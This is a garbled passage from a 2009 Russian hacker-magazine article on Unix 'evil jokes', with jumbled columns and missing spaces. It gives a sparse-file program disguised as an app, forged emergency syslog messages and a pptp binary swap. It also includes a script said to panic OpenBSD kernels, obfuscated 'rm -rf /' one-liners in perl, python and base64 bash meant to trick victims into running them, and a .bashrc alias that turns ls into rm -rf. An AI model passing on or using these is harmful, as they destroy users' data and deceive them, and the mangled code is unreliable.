|
|
|
|
|
|
daemon.info |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Ещеодинтипшутокэксплуатируетспособ- |
|
|
|
|
|
|
|
|
|
ностьфайловыхсистемUNIX-подобныхОСк |
|
|
|
|
|
|
|
|
|
упаковкетакназываемых«файловыхдыр». |
|
|
|
|
|
|
|
|
|
Есливфайловуюсистемузаписываетсяфайл, |
|
|
|
|
|
|
|
|
|
содержащийдостаточнодлинныйучасток |
|
|
|
|
|
|
|
|
|
нулей(длиной, покрайнеймере, водинблок), |
|
|
|
|
|
|
|
|
|
товыделенияблоковдляразмещенияэтих |
|
|
|
|
|
|
|
|
|
данныхнепроисходит, авсессылкинаблоки, |
|
|
|
|
|
|
|
|
|
содержащиенули, помечаютсяспециальным |
|
|
|
|
|
|
|
|
|
битом. Впоследствии«нулевые» блокимогут |
|
|
|
|
|
|
|
|
|
бытьвыделеныФС, нодоэтоговремениони |
|
|
|
|
|
|
|
|
|
незанимаютместонадиске. Этаособенность |
|
|
|
|
|
|
|
|
|
используетсяtorrent-клиентамидлясоздания |
|
|
|
|
|
|
|
|
|
пустыхфайлов, вразныеместакоторыхсовре- |
|
|
|
|
|
|
|
|
|
менембудутпомещатьсяскачанныеданные |
|
|
|
|
|
|
|
|
|
(аместодлянихбудетвыделятьсяфайловой |
|
|
|
|
|
|
|
|
|
системойпомеренадобности). |
|
|
|
|
|
|
|
|
|
Тотжеприемможноиспользоватьдля«запу- |
|
|
|
|
|
|
|
|
|
гивания» жертвы: мыпростосоздаемнеобы- |
|
|
|
|
|
|
|
|
|
чайнодлинныйфайлинаполняемегонулями. |
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
Врезультатевфайловойсистемепоявляется |
|
|
|
|
|
|
|
|
|
огромныйфайл, которыйнасамомделене |
|
|
|
|
|
|
|
|
|
занимаетместа. ВоткоднаСи: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
$ VI HOLE.C |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
int main(void) |
|
|
Витогевызовредактораvi приведеткпечати |
|
sizeof(hostname)); |
|
|
{ |
|
||
|
|
||||||||
|
примернотакогосообщения: |
|
|
|
|
|
const char *fname = "/tmp/ |
|
|
|
|
|
|
// подготавливаем фейковое сооб- |
|
|
surprise"; |
|
|
|
Broadcast message from vasya (/ |
|
щение о немедленном выключении |
|
|
const char *mystring = |
|
||
|
dev/pts/0) Thu 24 Sep 2009 14:50:50 |
|
компьютера |
|
|
"aaaaaa"; |
|
||
|
YEKST |
|
snprintf(buf, sizeof buf, |
|
|
off_t myoffset = 1048576000; |
|
||
|
|
|
|
" *** FINAL System |
|
|
int fd; |
|
|
|
The system is going down for system |
|
shutdown message from root@%s *** |
|
|
|
|
||
|
halt NOW! |
|
System going down IMMEDIATELY", |
|
|
open(fname, O_CREAT | O_TRUNC |
|
||
|
|
|
|
hostname); |
|
|
| O_RDWR, 0600); |
|
|
|
ВариантнаязыкеСи(здесьидалеепо |
|
|
|
|
||||
|
|
syslog(LOG_EMERG, buf); |
|
|
write(fd, mystring, |
|
|||
|
текстуобъявлениязаголовочныхфайлови |
|
exit(0); |
|
|
strlen(mystring)); |
|
||
|
проверкинавозвращаемыефункциямизна- |
|
} |
|
|
|
lseek(fd, myoffset, SEEK_ |
|
|
|
ченияопущеныдляэкономиижурнального |
|
|
|
|
|
CUR); |
|
|
|
|
|
|
|
|
||||
|
пространства): |
|
Первыйаргументфункцииsyslog() говорит |
|
write(fd, mystring, |
|
|||
|
|
|
|
отом, чтосообщениеявляетсяэкстренным, |
|
strlen(mystring)); |
|
||
|
$ VI SYSLOG-FAKE.C |
|
поэтомуонопопадетнетольковлогисистемы |
|
printf("Segmentation |
|
|||
|
int main(void) |
|
syslog, ноибудетвыведеновконсоль. |
|
fault\n"); |
|
|||
|
{ |
|
|
Многиенезнаютотом, чтов*nix-системах |
|
exit(0); |
|
||
|
extern const char *__ |
|
любойпользовательможетвызватьсистему |
|
} |
|
|||
|
progname; |
|
регистрациисобытийисоздатьжурнальные |
|
|
|
|||
|
|
|
|||||||
|
char buf[128], hostname[256]; |
|
записи, якобыпосланныекаким-либодемо- |
|
Заменяемстроку/tmp/surprise напутьдо |
||||
|
|
|
|
номилипрограммой. Дляпримерасимитиру- |
|
нашегофиктивногофайла. Компилируем: |
|||
|
// скрываем имя нашей программы |
|
емработупочтовогодемонаpopa3d: |
|
|
|
|||
|
__progname = ""; |
|
|
|
|
|
$ gcc hole.c -o cool_app |
|
|
|
|
|
|
$ VI POPA3D-FAKE.SH |
|
|
|
|
|
|
|
|
|
|
|
||||
|
(void)gethostname(hostname, |
|
#!bin/sh |
|
|
Подсовываемжертве. Оназапускаетпрограм- |
|
||
|
|
|
|
|
|
|
|
|
|
XÀÊÅÐ 11 /131/ 09 |
077 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
UNIXOID
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Простойрецепт, какужатьфайл любойдлинывнесколькодесятков байт
Файловаядыра: всегениальное просто
муиполучаетнаэкран«Segmentation fault».
Послечеготыговоришьей, что, мол, бывает, попробуйзапуститьудруга… Вконцеконцов жертвазабываетобэтойпрограммеиводин прекрасныйденьнатыкаетсянафайл, размер которогоравен1048576012 байт! Почтитерабайт! Далееможноначинатьржатьнадтем, как нашлопухрассказываетвсем, чтонашелусебя всистеме(сжесткимдискомна500 Гб) файл, размеромводинтерабайт. Шуткастанетеще болеесмешной, еслифайлупрятатьвсистему достаточнохорошо. Деловтом, чтомногие файловыесистемывозвращаютразмерсвободного/занятогопространствасучетомэтих самыхнулевыхблоков, иполучится, чтопосле созданияфайлакомандаdf будетпоказывать полнуюзанятостьраздела(если, конечно, он небольше1 Тб), чтосовсемнесоответствует истине.
Ноэтовсеневинныешалости, конкретные подколыначнутсявтомслучае, еслитыполучишьдоступккомпужертвысправамиroot. Тогдатебеоткроетсянастоящийпростордля западлостроений. Например, можноизменитьзагрузочноеменюgrub (файл/boot/grub/ menu.lst) ипрописатьвнемWindows 95 вместо Ubuntu Linux, подсунутьдругуюиконкуглавного менюGnome (/usr/share/icons/gnome/scalable/ places/gnome-main-menu.svg), модифициро-
ватьфайл/etc/fstab так, чтобывкачестведомашнегокаталогапользователямонтировался каталог/tmp имногоедругое.
Достаточноинтересным, аглавное, ставящимв тупикмногих, являетсятрюк, получившийимя «Укуситьсебязахвост». Сутьегозаключаетсяв том, чтобыпростоснятьскомандыchmod права наисполнениеитакимобразомдобитьсятого, чтожертванесможетменятьправадоступа любогофайла:
# chmod -x 'which chmod'
Еслихочетсячего-нибудьэдакого, товот теберецепт, которыйпревратитинициацию соединенияпопротоколуPPTP (VPN) ввызов модемногодиалап-соединения(виртуально,
естественно). Выполниследующуюпоследовательностьдействий:
1.Переименуйфайл/usr/sbin/pptp:
#mv /usr/sbin/{pptp,pptp.bak}
2.Положинаегоместоскрипт:
#VI /USR/SBIN/PPTP
#!/bin/sh
dd if=/bin/ls of=/dev/dsp & pptp.bak $*
3.Дайскриптуправанаисполнение:
#chmod a+x /usr/sbin/pptp
Командуpptp используетлюбаяпрограмма, подключающаясякVPN-серверупопротоколу pptp, включаяNetworkManager, поумол-
чаниюпоставляемыйсUbuntu. Подменив егонанашскрипт, мыдобилисьтого, что вовремякаждойинициациисоединенияс серверомпользовательбудетслышатьзвук,
сильнонапоминающийиздаваемыймодемом придиалапномсоединении. Вкачестве источникашумовявыбрал/bin/ls, который хорошоподходиткакподлительности, таки позвучанию, нотыможешьпоэкспериментироватьиподобратьдругойфайл(желательно бинарный).
СТРЕСС-ТЕСТ ФАЙЛОВОЙ СИСТЕМЫ. ЭТОТ НЕЗАМЫСЛОВАТЫЙ СКРИПТ ПРИВОДИТ К ПАНИКЕ ЯДРА ОС OPENBSD ВЕРСИИ 3.4 И НИЖЕ
#! /bin/sh
mkdir stressdir while [ 1 ]; do
for dir in a b c; do
mkdir stressdir/$dir
for dir2 in 0 1 2 3 4 5 6 7 8 9; do
(dd if=/dev/zero of=stressdir/$dir/$dir2 bs=1024k count=100 && rm -f stressdor/$dir/$dir2) >/dev/null &
done
done wait done
Готовпоспорить, чтониодинюниксоиднеждетоткомандыvi такой реакции
ЗЛЫЕШУТКИ
Злых шуток пользователи *nix-систем придумали гораздо больше. Здесь есть все, начиная от классического «rm -Rf /», удаляющего все файлы, доступные для записи,
изаканчивая многочисленными форк-бом- бами и способами отправить ядро в kernel panic. Я бы порекомендовал несколько раз подумать, перед тем как применять их на практике (особенно те, которые уничтожают файлы). Целевая аудитория: обидчики, придурки, гопники и все те, кого не жалко даже твоей бабушке.
Начнемсклассики— удалениявсего, до чегоможемдобраться. Издревнеэтаоперацияпроизводиласьспомощьюподсунутой пользователюкоманды«rm -Rf /», которую онблагополучнозапускал(да, иэтосрабатывало, ананекоторыхубунтоводахсработаети
сейчас), издавалнесколькопрощальныхзвуков
инанесколькочасоввыбывалвофлайн. Сегодняшниепользователиболеепродвинутыипо настояниюстаршихнезапускаюткоманды, не прочитавman-страницы. Чтожетогдаделать? Командуможно, например, замаскировать, как этосделалодинизпосетителейlinux.org.ru в 2003 году, подкинуввфорумприведенныйниже perl-скриптспросьбойпомочьвегоотладке.
# perl -e '$??s:;s:s;;$?::s;;=]=>%- {<-|}<&|'{;;y; -/:-@[-'{-};'-{/" -;;s;;$_;see'
Естественно, дляпожелавшихпомочь«бедолаге» всезакончилосьвесьмаивесьмаплачевно. Подобныйспособмаскировкисуществуетидля python:
#python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'
Идляbash (правдаеголегкораскрыть, опустив скобки):
#$(echo c3VkbyBybSAtcmYgLwo=|base64 -d)
Другая, достаточносмешная, шутка— подсунутькомандуrm вкачествеalias’адлядругой команды:
$ echo "alias ls=’rm -rf * >/dev/null 2>&1; ls’" >> ~/.bashrc
Врезультатепередкаждымвызовомкоманды
078 |
XÀÊÅÐ 11 /131/ 09 |